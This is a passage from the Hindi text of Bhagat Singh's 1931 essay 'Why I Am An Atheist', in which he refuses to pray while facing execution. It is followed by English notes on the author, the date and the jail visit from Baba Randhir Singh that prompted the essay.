नास्तिक बनाया है। ईश्वर में विश्वास और रोज़-ब-रोज़
की प्रार्थना को मैं मनुष्य के लिये सबसे स्वार्थी और
गिरा हुआ काम मानता हूँ। मैंने उन नास्तिकों के बारे में
पढ़ा हे, जिन्होंने सभी विपदाओं का बहादुरी से
सामना किया। अतः मैं भी एक पुरुष
की भाँति फाँसी के फन्दे की अन्तिम घड़ी तक सिर
ऊँचा किये खड़ा रहना चाहता हूँ।हमें देखना है कि मैं कैसे
निभा पाता हूँ। मेरे एक दोस्त ने मुझे प्रार्थना करने
को कहा। जब मैंने उसे नास्तिक होने की बात
बतायी तो उसने कहा, ‘’अपने अन्तिम दिनों में तुम
विश्वास करने लगोगे।’’ मैंने कहा, ‘’नहीं, प्यारे दोस्त,
ऐसा नहीं होगा। मैं इसे अपने लिये अपमानजनक तथा भ्रष्ट
होने की बात समझाता हूँ। स्वार्थी कारणों से मैं
प्रार्थना नहीं करूँगा।’’ पाठकों और दोस्तों, क्या यह
अहंकार है? अगर है तो मैं स्वीकार करता हूँ।

Date Written: 1931

Author: Bhagat Singh

Title: Why I Am An Atheist(Main nastik kyon hoon)

First Published: Baba Randhir Singh, a freedom fighter, was in Lahore Central Jail in 1930-31.

He was a God-fearing religious man. It
pained him to learn that Bhagat Singh was a non-
believer. He somehow managed to see Bhagat Singh
in the condemned cell and tried to convince him about
the existence of God, but failed. Baba lost his temper
and said tauntingly: “You are giddy with fame and
have developed and ago which is standing like a black
curtain between you and the God.” It was in reply to
that remark that Bhagat Singh wrote this article.